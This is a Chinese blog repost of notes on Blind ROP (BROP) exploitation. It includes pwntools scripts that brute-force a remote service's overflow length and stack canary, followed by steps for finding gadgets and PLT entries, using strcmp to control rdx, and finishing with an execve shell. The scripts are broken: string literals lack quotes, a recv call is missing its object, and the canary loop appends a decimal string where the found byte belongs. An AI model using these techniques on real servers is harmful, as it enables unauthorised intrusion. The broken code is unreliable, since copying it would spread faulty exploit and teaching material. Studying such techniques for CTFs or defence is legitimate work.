码迷,mamicode.com
首页 > 其他好文 > 详细

BROP_轮子

时间:2019-09-16 23:49:52      阅读:202      评论:0      收藏:0      [点我收藏+]

标签:ada   password   bre   nal   攻击   final   gad   中间   shel   

执行Write()函数

pop rdi; ret # socket    ##find from __libc_csu_init 
pop rsi; ret # buffer    ##find from __libc_csu_init
pop rdx; ret # length    ##find from strcmp()!!!!
pop rax; ret # write syscall number
syscall
但通常来说,这样的方法都是比较困难的,因为想要找到一个 syscall 的地址基本不可能。。。我们可以通过转换为找 write 的方式来获取。

判断栈溢出长度

def leakbuff_length():
    i=1
    while 1:
        try:
            p=remote(0.0.0.0,9999)
            p.recvuntil(password?\n)
            p.sendline(A*i)
            msg=p.recv()
            p.close()
            if password in msg:
                i = i+1
                continue
        except EOFError:
            p.close()
            print i-1
            break

单字节爆破Canary

def boomcanary():
    step=1
    buf=A*72
    canary_sing=0x00
    while 1:
        try:
            p=remote(0.0.0.0,9999)
            p.recvuntil(password?\n)
            p.sendline(buf+chr(canary_sing))
            msg=recv()
            p.close()
            if step == 4:
                break
            else:
                buf=buf+str(canary_sing)
                canary_sing=0x00
                step=step+1
        except EOFError:
            p.close()
            canary_sing=canary_sing+1

BROP gadgets

寻找libc_csu_init的结尾一长串的 gadgets

技术图片

寻找 PLT

每一个 plt 表项都是 16 字节,对于大多数 plt 调用来说,一般都不容易崩溃,即使是使用了比较奇怪的参数。

如果我们发现了一系列的长度为 16 的没有使得程序崩溃的代码段,那么我们有一定的理由相信我们遇到了 plt 表。除此之外,我们还可以通过前后偏移 6 字节,来判断我们是处于 plt 表项中间还是说处于开头。

注::::找CMP函数方法:1.plt遍历    2.利用 plt 表项的慢路径,并且利用下一个表项的慢路径的地址来覆盖返回地址。!!!

控制RDX

:在没有 PIE 保护的时候,64 位程序的 ELF 文件的 0x400000 处有 7 个非零字节。

  • readable,可读的地址。
  • bad, 非法地址,不可访问,比如说 0x0。

那么我们如果控制传递的参数为这两种地址的组合,会出现以下四种情况

  • strcmp(bad,bad)
  • strcmp(bad,readable)
  • strcmp(readable,bad)
  • strcmp(readable,readable)

只有最后一种格式,程序才会正常执行。

 

寻找输出函数:write/puts 

Finaly-to get sh

  • 将 socket 输出重定向到输入输出
  • 寻找 “/bin/sh” 的地址。一般来说,最好是找到一块可写的内存,利用 write 函数将这个字符串写到相应的地址。
  • 执行 execve 获取 shell,获取 execve 不一定在 plt 表中,此时攻击者就需要想办法执行系统调用了。

BROP_轮子

标签:ada   password   bre   nal   攻击   final   gad   中间   shel   

原文地址:https://www.cnblogs.com/0xHack/p/11530863.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!